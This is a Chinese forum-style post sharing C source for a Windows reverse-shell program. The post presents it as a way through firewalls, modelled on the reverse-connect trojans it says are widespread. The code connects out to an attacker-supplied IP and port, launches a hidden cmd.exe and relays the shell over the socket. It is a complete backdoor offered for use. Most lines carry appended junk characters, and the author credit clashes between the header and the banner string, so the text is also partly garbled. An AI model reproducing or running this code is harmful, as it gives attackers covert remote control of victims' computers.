这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p!=8 Pq.
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/* ============================== ip}%Y6Wj
Rebound port in Windows NT F02TM#Zi
By wind,2006/7 lt:&lIW,3
===============================*/ 5WRqeSGh
#include P, l
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#include B]<N7NYn1
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#pragma comment(lib,"wsock32.lib") qM26:kB{
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void OutputShell(); W?E,"z
SOCKET sClient; bf2n%-&9g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h>[ qXz
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void main(int argc,char **argv) k{F6WQ7
{ 2
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WSADATA stWsaData;
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int nRet; -]u>kjiIT
SOCKADDR_IN stSaiClient,stSaiServer; bDh4p]lm
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if(argc != 3) u^E0u^
{ \eQPvkx2
printf("Useage:\n\rRebound DestIP DestPort\n"); 9IG<9uj
return; 04v
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} &Fuk+Cu{
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t4:/qy
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stSaiClient.sin_family = AF_INET; 8L/XZ)
stSaiClient.sin_port = htons(0); V62lN<M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )t-P o'RW
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IV':sNV
{ N!dBF t"
printf("Bind Socket Failed!\n"); u6l)s0Q
return; 3y2L!&'z
} 7iM@BeIf
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stSaiServer.sin_family = AF_INET; BU>R<A5h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lcReRcjm
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y,n.(?!*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ !~'D;Jh
printf("Connect Error!"); N z=P1&G'
return; Oz]$zRu/0
} LqJV
OutputShell(); 7AGUi+!ICl
} Qu8=zI>t
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void OutputShell() G
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{ \fI05GZ
char szBuff[1024]; z/QYy)_j
SECURITY_ATTRIBUTES stSecurityAttributes; a;~< iB;3"
OSVERSIONINFO stOsversionInfo; j%Uoigi
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j!k$SDA-
STARTUPINFO stStartupInfo; I|;zGmg#k
char *szShell; sVmqx^-
PROCESS_INFORMATION stProcessInformation; TEj"G7]1$A
unsigned long lBytesRead; $X\2h+ Os
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^vxNS[C`;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z:x`][vg
stSecurityAttributes.lpSecurityDescriptor = 0; K g.O2F77
stSecurityAttributes.bInheritHandle = TRUE; ,->5 sJ{U
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4,Uqcw?!F'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #(+V&<K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P39oHW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y;g\ @j
stStartupInfo.wShowWindow = SW_HIDE; Wy/h"R\=
stStartupInfo.hStdInput = hReadPipe; i;|I;5tC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cdSgb3B0
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GetVersionEx(&stOsversionInfo); 2!b##`UjA7
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switch(stOsversionInfo.dwPlatformId) 7xG~4N<)]
{ *ywr_9
case 1: @*=5a(#
szShell = "command.com"; u'DpZ
break; ^%LyT!y
default: 4)'U!jSb
szShell = "cmd.exe"; n)35-?R/M
break; })J}7@VPO
} Wfc~"GQq4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }*qj,8-9
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send(sClient,szMsg,77,0); pW>{7pXn
while(1) ub`zS-vb
{ %@TC-
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]0|A\bE\S
if(lBytesRead) ?*7Mn`
{ N|Xm{@C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^kz(/c/ ?
send(sClient,szBuff,lBytesRead,0); 0O*kC43E_
} H?xYS|
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else 8B(v6(h
{ )1HWD]>4
lBytesRead=recv(sClient,szBuff,1024,0); difX7)\
if(lBytesRead<=0) break; S QGYH
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &,{YfAxQ`
} * >8EMq\^
} Q[|*P ] w
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return; -R\dg S3
}